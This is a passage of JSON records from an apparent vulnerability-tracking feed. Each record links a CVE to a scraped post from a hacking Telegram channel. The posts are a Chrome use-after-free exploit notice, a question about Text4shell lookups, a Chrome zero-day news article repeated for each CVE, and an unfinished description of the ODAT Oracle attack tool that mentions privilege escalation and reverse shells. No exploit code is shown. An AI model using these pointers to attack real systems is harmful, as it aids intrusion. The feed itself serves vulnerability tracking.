"vulnerability": "CVE-2022-33679", "author": {"login": "automation"}}, {"uuid": "93cb8b62-f871-40a4-8c19-414dfefef601", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.070274+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/77797", "content": "Exploit Collector\nChrome blink::LocalFrameView::PerformLayout Use-After-Free\n\nhttps://2.bp.blogspot.com/-Nz8u9CyJbsU/WWlveW9d4WI/AAAAAAAAIPw/tdSVtwWBcYIHlgRN6nbdKVd_fE-UdNKsACLcBGAs/s1600/h80.png \nChrome suffers from a heap use-after-free vulnerability in blink::LocalFrameView::PerformLayout due to an incomplete fix for CVE-2022-3199.\n\nSHA-256 | ede5dbd6ee9c5895a1b02c8bc6cefd5dfe9adef84fd2fceb45bd3140cd0fa16b\n\nDownload\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-3199", "author": {"login": "automation"}}, {"uuid": "eb2c3ee2-0da3-4c88-ba3b-7c7bd1cbbcf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.029691+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/78060", "content": "hacking: security in practice\nHow can triggering DNS lookups on a foreign system be a security threat?\n\nIn Text4shell (CVE-2022-42889) there are 3 potential security vulnerabilities which are triggered by String substitution marked by specific prefixes, which could lead to problems. One of them is \"script\" which can lead to code injection, self explainatory.\n\nThe other two are \"dns\" and \"url\" which according to the CVE \"could result in (...) contact with remote servers\".\n\nI can't quite understand why pure contact with remote servers is a security concern. How is it exploitable to make dns lookups for the hostname of an ip address via a foreign system? Why should that be a problem? To map out internal structure if its a bigger network?\n\nsubmitted by /u/mangyCarl3 \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-42889", "author": {"login": "automation"}}, {"uuid": "9f7d2b06-cdd2-4b91-bea4-fb67a4281e00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:58.987478+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/77727", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix 8th zero-day this year\n\nGoogle pushes emergency Chrome update to fix 8th zero-day this yearPost Views: 10 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Google has released an emergency security update for the desktop version of the Chrome web browser, addressing the eighth zero-day vulnerability exploited in attacks this year.The high-severity flaw is tracked as CVE-2022-4135 and is a heap buffer overflow in GPU, discovered by Clement Lecigne of Google\u2019s Threat Analysis Group on November 22, 2022.\n\n\u201cGoogle is aware that an exploit for CVE-2022-4135 exists in the wild,\u201d reads the update notice.\n\nAs users need time to apply the security update on their Chrome installations, Google has withheld details about the vulnerability to prevent expanding its malicious exploitation.\nAccess to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven\u2019t yet fixed. \u2013 Google\nIn general, heap buffer overflow is a memory vulnerability resulting in data being written to forbidden (usually adjacent) locations without check.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course\nAttackers may use heap buffer overflow to overwrite an application\u2019s memory to manipulate its execution path, resulting in unrestricted information access or arbitrary code execution.\n\nChrome users are recommended to upgrade to version 107.0.5304.121/122 for Windows and 107.0.5304.122 for Mac and Linux, which addresses CVE-2022-4135.\n\nTo update Chrome, head to Settings \u2192 About Chrome \u2192 Wait for the download of the latest version to finish \u2192 Restart the program.\nhttps://www.bleepstatic.com/images/news/u/1220909/Software/Update.png \nChrome\u2019s eighth zero-day fix in 2022Chrome version 107.0.5304.121/122 fixes the eighth actively exploited zero-day vulnerability this year, indicating the high interest of attackers against the widely used browser.\n\nThe previous seven zero-day fixes are:\n\n* CVE-2022-3723\u00a0\u2013 October 28th\n* CVE-2022-3075\u00a0\u2013 September 2nd\n* CVE-2022-2856\u00a0\u2013 August 17th\n* CVE-2022-2294\u00a0\u2013 July 4th\n* CVE-2022-1364\u00a0\u2013 April 14th\n* CVE-2022-1096\u00a0\u2013 March 25th\n* CVE-2022-0609\u00a0\u2013 February 14th\n\nThese flaws are typically leveraged by sophisticated hackers\u00a0who use them in highly targeted attacks.\n\nNevertheless, all Chrome users are strongly advised to update their web browsers as soon as possible to block potential exploitation attempts.\nTrending: Windows Kerberos authentication breaks after November updates\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/11/Images-for-the-News-posts-8-2-300x150.png Fake MSI Afterburner targets Windows gamers with miners, info-stealersNovember 24, 2022\nReading Time: 4 minutes\n\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/11/Images-for-the-News-posts-7-1-300x[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1096", "author": {"login": "automation"}}, {"uuid": "6531a21b-4ae1-4bbe-8b86-79daedeb0403", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:58.940331+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/77727", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix 8th zero-day this year\n\nGoogle pushes emergency Chrome update to fix 8th zero-day this yearPost Views: 10 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Google has released an emergency security update for the desktop version of the Chrome web browser, addressing the eighth zero-day vulnerability exploited in attacks this year.The high-severity flaw is tracked as CVE-2022-4135 and is a heap buffer overflow in GPU, discovered by Clement Lecigne of Google\u2019s Threat Analysis Group on November 22, 2022.\n\n\u201cGoogle is aware that an exploit for CVE-2022-4135 exists in the wild,\u201d reads the update notice.\n\nAs users need time to apply the security update on their Chrome installations, Google has withheld details about the vulnerability to prevent expanding its malicious exploitation.\nAccess to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven\u2019t yet fixed. \u2013 Google\nIn general, heap buffer overflow is a memory vulnerability resulting in data being written to forbidden (usually adjacent) locations without check.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course\nAttackers may use heap buffer overflow to overwrite an application\u2019s memory to manipulate its execution path, resulting in unrestricted information access or arbitrary code execution.\n\nChrome users are recommended to upgrade to version 107.0.5304.121/122 for Windows and 107.0.5304.122 for Mac and Linux, which addresses CVE-2022-4135.\n\nTo update Chrome, head to Settings \u2192 About Chrome \u2192 Wait for the download of the latest version to finish \u2192 Restart the program.\nhttps://www.bleepstatic.com/images/news/u/1220909/Software/Update.png \nChrome\u2019s eighth zero-day fix in 2022Chrome version 107.0.5304.121/122 fixes the eighth actively exploited zero-day vulnerability this year, indicating the high interest of attackers against the widely used browser.\n\nThe previous seven zero-day fixes are:\n\n* CVE-2022-3723\u00a0\u2013 October 28th\n* CVE-2022-3075\u00a0\u2013 September 2nd\n* CVE-2022-2856\u00a0\u2013 August 17th\n* CVE-2022-2294\u00a0\u2013 July 4th\n* CVE-2022-1364\u00a0\u2013 April 14th\n* CVE-2022-1096\u00a0\u2013 March 25th\n* CVE-2022-0609\u00a0\u2013 February 14th\n\nThese flaws are typically leveraged by sophisticated hackers\u00a0who use them in highly targeted attacks.\n\nNevertheless, all Chrome users are strongly advised to update their web browsers as soon as possible to block potential exploitation attempts.\nTrending: Windows Kerberos authentication breaks after November updates\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/11/Images-for-the-News-posts-8-2-300x150.png Fake MSI Afterburner targets Windows gamers with miners, info-stealersNovember 24, 2022\nReading Time: 4 minutes\n\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/11/Images-for-the-News-posts-7-1-300x[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-3075", "author": {"login": "automation"}}, {"uuid": "95c3e6f1-05b0-426a-a0b1-914b641f8f91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:58.892489+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/77727", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix 8th zero-day this year\n\nGoogle pushes emergency Chrome update to fix 8th zero-day this yearPost Views: 10 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Google has released an emergency security update for the desktop version of the Chrome web browser, addressing the eighth zero-day vulnerability exploited in attacks this year.The high-severity flaw is tracked as CVE-2022-4135 and is a heap buffer overflow in GPU, discovered by Clement Lecigne of Google\u2019s Threat Analysis Group on November 22, 2022.\n\n\u201cGoogle is aware that an exploit for CVE-2022-4135 exists in the wild,\u201d reads the update notice.\n\nAs users need time to apply the security update on their Chrome installations, Google has withheld details about the vulnerability to prevent expanding its malicious exploitation.\nAccess to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven\u2019t yet fixed. \u2013 Google\nIn general, heap buffer overflow is a memory vulnerability resulting in data being written to forbidden (usually adjacent) locations without check.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course\nAttackers may use heap buffer overflow to overwrite an application\u2019s memory to manipulate its execution path, resulting in unrestricted information access or arbitrary code execution.\n\nChrome users are recommended to upgrade to version 107.0.5304.121/122 for Windows and 107.0.5304.122 for Mac and Linux, which addresses CVE-2022-4135.\n\nTo update Chrome, head to Settings \u2192 About Chrome \u2192 Wait for the download of the latest version to finish \u2192 Restart the program.\nhttps://www.bleepstatic.com/images/news/u/1220909/Software/Update.png \nChrome\u2019s eighth zero-day fix in 2022Chrome version 107.0.5304.121/122 fixes the eighth actively exploited zero-day vulnerability this year, indicating the high interest of attackers against the widely used browser.\n\nThe previous seven zero-day fixes are:\n\n* CVE-2022-3723\u00a0\u2013 October 28th\n* CVE-2022-3075\u00a0\u2013 September 2nd\n* CVE-2022-2856\u00a0\u2013 August 17th\n* CVE-2022-2294\u00a0\u2013 July 4th\n* CVE-2022-1364\u00a0\u2013 April 14th\n* CVE-2022-1096\u00a0\u2013 March 25th\n* CVE-2022-0609\u00a0\u2013 February 14th\n\nThese flaws are typically leveraged by sophisticated hackers\u00a0who use them in highly targeted attacks.\n\nNevertheless, all Chrome users are strongly advised to update their web browsers as soon as possible to block potential exploitation attempts.\nTrending: Windows Kerberos authentication breaks after November updates\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/11/Images-for-the-News-posts-8-2-300x150.png Fake MSI Afterburner targets Windows gamers with miners, info-stealersNovember 24, 2022\nReading Time: 4 minutes\n\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/11/Images-for-the-News-posts-7-1-300x[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-3723", "author": {"login": "automation"}}, {"uuid": "056e1fe0-2371-4936-b98f-0e142a3344ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:58.841403+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/77727", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix 8th zero-day this year\n\nGoogle pushes emergency Chrome update to fix 8th zero-day this yearPost Views: 10 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Google has released an emergency security update for the desktop version of the Chrome web browser, addressing the eighth zero-day vulnerability exploited in attacks this year.The high-severity flaw is tracked as CVE-2022-4135 and is a heap buffer overflow in GPU, discovered by Clement Lecigne of Google\u2019s Threat Analysis Group on November 22, 2022.\n\n\u201cGoogle is aware that an exploit for CVE-2022-4135 exists in the wild,\u201d reads the update notice.\n\nAs users need time to apply the security update on their Chrome installations, Google has withheld details about the vulnerability to prevent expanding its malicious exploitation.\nAccess to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven\u2019t yet fixed. \u2013 Google\nIn general, heap buffer overflow is a memory vulnerability resulting in data being written to forbidden (usually adjacent) locations without check.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course\nAttackers may use heap buffer overflow to overwrite an application\u2019s memory to manipulate its execution path, resulting in unrestricted information access or arbitrary code execution.\n\nChrome users are recommended to upgrade to version 107.0.5304.121/122 for Windows and 107.0.5304.122 for Mac and Linux, which addresses CVE-2022-4135.\n\nTo update Chrome, head to Settings \u2192 About Chrome \u2192 Wait for the download of the latest version to finish \u2192 Restart the program.\nhttps://www.bleepstatic.com/images/news/u/1220909/Software/Update.png \nChrome\u2019s eighth zero-day fix in 2022Chrome version 107.0.5304.121/122 fixes the eighth actively exploited zero-day vulnerability this year, indicating the high interest of attackers against the widely used browser.\n\nThe previous seven zero-day fixes are:\n\n* CVE-2022-3723\u00a0\u2013 October 28th\n* CVE-2022-3075\u00a0\u2013 September 2nd\n* CVE-2022-2856\u00a0\u2013 August 17th\n* CVE-2022-2294\u00a0\u2013 July 4th\n* CVE-2022-1364\u00a0\u2013 April 14th\n* CVE-2022-1096\u00a0\u2013 March 25th\n* CVE-2022-0609\u00a0\u2013 February 14th\n\nThese flaws are typically leveraged by sophisticated hackers\u00a0who use them in highly targeted attacks.\n\nNevertheless, all Chrome users are strongly advised to update their web browsers as soon as possible to block potential exploitation attempts.\nTrending: Windows Kerberos authentication breaks after November updates\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/11/Images-for-the-News-posts-8-2-300x150.png Fake MSI Afterburner targets Windows gamers with miners, info-stealersNovember 24, 2022\nReading Time: 4 minutes\n\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/11/Images-for-the-News-posts-7-1-300x[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-4135", "author": {"login": "automation"}}, {"uuid": "f4124611-45c8-4c22-98b2-1fccfe1a24b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:58.793601+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/77727", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix 8th zero-day this year\n\nGoogle pushes emergency Chrome update to fix 8th zero-day this yearPost Views: 10 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Google has released an emergency security update for the desktop version of the Chrome web browser, addressing the eighth zero-day vulnerability exploited in attacks this year.The high-severity flaw is tracked as CVE-2022-4135 and is a heap buffer overflow in GPU, discovered by Clement Lecigne of Google\u2019s Threat Analysis Group on November 22, 2022.\n\n\u201cGoogle is aware that an exploit for CVE-2022-4135 exists in the wild,\u201d reads the update notice.\n\nAs users need time to apply the security update on their Chrome installations, Google has withheld details about the vulnerability to prevent expanding its malicious exploitation.\nAccess to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven\u2019t yet fixed. \u2013 Google\nIn general, heap buffer overflow is a memory vulnerability resulting in data being written to forbidden (usually adjacent) locations without check.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course\nAttackers may use heap buffer overflow to overwrite an application\u2019s memory to manipulate its execution path, resulting in unrestricted information access or arbitrary code execution.\n\nChrome users are recommended to upgrade to version 107.0.5304.121/122 for Windows and 107.0.5304.122 for Mac and Linux, which addresses CVE-2022-4135.\n\nTo update Chrome, head to Settings \u2192 About Chrome \u2192 Wait for the download of the latest version to finish \u2192 Restart the program.\nhttps://www.bleepstatic.com/images/news/u/1220909/Software/Update.png \nChrome\u2019s eighth zero-day fix in 2022Chrome version 107.0.5304.121/122 fixes the eighth actively exploited zero-day vulnerability this year, indicating the high interest of attackers against the widely used browser.\n\nThe previous seven zero-day fixes are:\n\n* CVE-2022-3723\u00a0\u2013 October 28th\n* CVE-2022-3075\u00a0\u2013 September 2nd\n* CVE-2022-2856\u00a0\u2013 August 17th\n* CVE-2022-2294\u00a0\u2013 July 4th\n* CVE-2022-1364\u00a0\u2013 April 14th\n* CVE-2022-1096\u00a0\u2013 March 25th\n* CVE-2022-0609\u00a0\u2013 February 14th\n\nThese flaws are typically leveraged by sophisticated hackers\u00a0who use them in highly targeted attacks.\n\nNevertheless, all Chrome users are strongly advised to update their web browsers as soon as possible to block potential exploitation attempts.\nTrending: Windows Kerberos authentication breaks after November updates\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/11/Images-for-the-News-posts-8-2-300x150.png Fake MSI Afterburner targets Windows gamers with miners, info-stealersNovember 24, 2022\nReading Time: 4 minutes\n\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/11/Images-for-the-News-posts-7-1-300x[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-0609", "author": {"login": "automation"}}, {"uuid": "f1903c12-247e-4ea9-9990-268226119857", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:58.748872+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/77727", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix 8th zero-day this year\n\nGoogle pushes emergency Chrome update to fix 8th zero-day this yearPost Views: 10 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Google has released an emergency security update for the desktop version of the Chrome web browser, addressing the eighth zero-day vulnerability exploited in attacks this year.The high-severity flaw is tracked as CVE-2022-4135 and is a heap buffer overflow in GPU, discovered by Clement Lecigne of Google\u2019s Threat Analysis Group on November 22, 2022.\n\n\u201cGoogle is aware that an exploit for CVE-2022-4135 exists in the wild,\u201d reads the update notice.\n\nAs users need time to apply the security update on their Chrome installations, Google has withheld details about the vulnerability to prevent expanding its malicious exploitation.\nAccess to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven\u2019t yet fixed. \u2013 Google\nIn general, heap buffer overflow is a memory vulnerability resulting in data being written to forbidden (usually adjacent) locations without check.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course\nAttackers may use heap buffer overflow to overwrite an application\u2019s memory to manipulate its execution path, resulting in unrestricted information access or arbitrary code execution.\n\nChrome users are recommended to upgrade to version 107.0.5304.121/122 for Windows and 107.0.5304.122 for Mac and Linux, which addresses CVE-2022-4135.\n\nTo update Chrome, head to Settings \u2192 About Chrome \u2192 Wait for the download of the latest version to finish \u2192 Restart the program.\nhttps://www.bleepstatic.com/images/news/u/1220909/Software/Update.png \nChrome\u2019s eighth zero-day fix in 2022Chrome version 107.0.5304.121/122 fixes the eighth actively exploited zero-day vulnerability this year, indicating the high interest of attackers against the widely used browser.\n\nThe previous seven zero-day fixes are:\n\n* CVE-2022-3723\u00a0\u2013 October 28th\n* CVE-2022-3075\u00a0\u2013 September 2nd\n* CVE-2022-2856\u00a0\u2013 August 17th\n* CVE-2022-2294\u00a0\u2013 July 4th\n* CVE-2022-1364\u00a0\u2013 April 14th\n* CVE-2022-1096\u00a0\u2013 March 25th\n* CVE-2022-0609\u00a0\u2013 February 14th\n\nThese flaws are typically leveraged by sophisticated hackers\u00a0who use them in highly targeted attacks.\n\nNevertheless, all Chrome users are strongly advised to update their web browsers as soon as possible to block potential exploitation attempts.\nTrending: Windows Kerberos authentication breaks after November updates\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/11/Images-for-the-News-posts-8-2-300x150.png Fake MSI Afterburner targets Windows gamers with miners, info-stealersNovember 24, 2022\nReading Time: 4 minutes\n\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/11/Images-for-the-News-posts-7-1-300x[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1364", "author": {"login": "automation"}}, {"uuid": "5e8f55cd-e74d-4d18-adf1-45b433494cc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:58.702011+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/77727", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix 8th zero-day this year\n\nGoogle pushes emergency Chrome update to fix 8th zero-day this yearPost Views: 10 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Google has released an emergency security update for the desktop version of the Chrome web browser, addressing the eighth zero-day vulnerability exploited in attacks this year.The high-severity flaw is tracked as CVE-2022-4135 and is a heap buffer overflow in GPU, discovered by Clement Lecigne of Google\u2019s Threat Analysis Group on November 22, 2022.\n\n\u201cGoogle is aware that an exploit for CVE-2022-4135 exists in the wild,\u201d reads the update notice.\n\nAs users need time to apply the security update on their Chrome installations, Google has withheld details about the vulnerability to prevent expanding its malicious exploitation.\nAccess to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven\u2019t yet fixed. \u2013 Google\nIn general, heap buffer overflow is a memory vulnerability resulting in data being written to forbidden (usually adjacent) locations without check.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course\nAttackers may use heap buffer overflow to overwrite an application\u2019s memory to manipulate its execution path, resulting in unrestricted information access or arbitrary code execution.\n\nChrome users are recommended to upgrade to version 107.0.5304.121/122 for Windows and 107.0.5304.122 for Mac and Linux, which addresses CVE-2022-4135.\n\nTo update Chrome, head to Settings \u2192 About Chrome \u2192 Wait for the download of the latest version to finish \u2192 Restart the program.\nhttps://www.bleepstatic.com/images/news/u/1220909/Software/Update.png \nChrome\u2019s eighth zero-day fix in 2022Chrome version 107.0.5304.121/122 fixes the eighth actively exploited zero-day vulnerability this year, indicating the high interest of attackers against the widely used browser.\n\nThe previous seven zero-day fixes are:\n\n* CVE-2022-3723\u00a0\u2013 October 28th\n* CVE-2022-3075\u00a0\u2013 September 2nd\n* CVE-2022-2856\u00a0\u2013 August 17th\n* CVE-2022-2294\u00a0\u2013 July 4th\n* CVE-2022-1364\u00a0\u2013 April 14th\n* CVE-2022-1096\u00a0\u2013 March 25th\n* CVE-2022-0609\u00a0\u2013 February 14th\n\nThese flaws are typically leveraged by sophisticated hackers\u00a0who use them in highly targeted attacks.\n\nNevertheless, all Chrome users are strongly advised to update their web browsers as soon as possible to block potential exploitation attempts.\nTrending: Windows Kerberos authentication breaks after November updates\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/11/Images-for-the-News-posts-8-2-300x150.png Fake MSI Afterburner targets Windows gamers with miners, info-stealersNovember 24, 2022\nReading Time: 4 minutes\n\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/11/Images-for-the-News-posts-7-1-300x[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-2294", "author": {"login": "automation"}}, {"uuid": "b6ad2a0e-7ab3-49df-b27a-92fbbdc76bcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:58.658593+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/77727", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix 8th zero-day this year\n\nGoogle pushes emergency Chrome update to fix 8th zero-day this yearPost Views: 10 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Google has released an emergency security update for the desktop version of the Chrome web browser, addressing the eighth zero-day vulnerability exploited in attacks this year.The high-severity flaw is tracked as CVE-2022-4135 and is a heap buffer overflow in GPU, discovered by Clement Lecigne of Google\u2019s Threat Analysis Group on November 22, 2022.\n\n\u201cGoogle is aware that an exploit for CVE-2022-4135 exists in the wild,\u201d reads the update notice.\n\nAs users need time to apply the security update on their Chrome installations, Google has withheld details about the vulnerability to prevent expanding its malicious exploitation.\nAccess to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven\u2019t yet fixed. \u2013 Google\nIn general, heap buffer overflow is a memory vulnerability resulting in data being written to forbidden (usually adjacent) locations without check.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course\nAttackers may use heap buffer overflow to overwrite an application\u2019s memory to manipulate its execution path, resulting in unrestricted information access or arbitrary code execution.\n\nChrome users are recommended to upgrade to version 107.0.5304.121/122 for Windows and 107.0.5304.122 for Mac and Linux, which addresses CVE-2022-4135.\n\nTo update Chrome, head to Settings \u2192 About Chrome \u2192 Wait for the download of the latest version to finish \u2192 Restart the program.\nhttps://www.bleepstatic.com/images/news/u/1220909/Software/Update.png \nChrome\u2019s eighth zero-day fix in 2022Chrome version 107.0.5304.121/122 fixes the eighth actively exploited zero-day vulnerability this year, indicating the high interest of attackers against the widely used browser.\n\nThe previous seven zero-day fixes are:\n\n* CVE-2022-3723\u00a0\u2013 October 28th\n* CVE-2022-3075\u00a0\u2013 September 2nd\n* CVE-2022-2856\u00a0\u2013 August 17th\n* CVE-2022-2294\u00a0\u2013 July 4th\n* CVE-2022-1364\u00a0\u2013 April 14th\n* CVE-2022-1096\u00a0\u2013 March 25th\n* CVE-2022-0609\u00a0\u2013 February 14th\n\nThese flaws are typically leveraged by sophisticated hackers\u00a0who use them in highly targeted attacks.\n\nNevertheless, all Chrome users are strongly advised to update their web browsers as soon as possible to block potential exploitation attempts.\nTrending: Windows Kerberos authentication breaks after November updates\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/11/Images-for-the-News-posts-8-2-300x150.png Fake MSI Afterburner targets Windows gamers with miners, info-stealersNovember 24, 2022\nReading Time: 4 minutes\n\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/11/Images-for-the-News-posts-7-1-300x[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-2856", "author": {"login": "automation"}}, {"uuid": "fd7f2af4-51b5-49e7-96ce-f0021fa82080", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:58.615320+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/77426", "content": "Kali Linux Tutorials\nODAT : Oracle Database Attacking Tool\n\nODAT (Oracle Database Attacking Tool) is an open source penetration testing tool that tests the security of Oracle Databases remotely.\n\nUsage examples of ODAT:\n\n* You have an Oracle database listening remotely and want to find valid SIDs and credentials in order to connect to the database\n* You have a valid Oracle account on a database and want to escalate your privileges to become DBA or SYSDBA\n* You have a Oracle account and you want to execute system commands (e.g. reverse shell) in order to move forward on the operating system hosting the database\n\nTested on Oracle 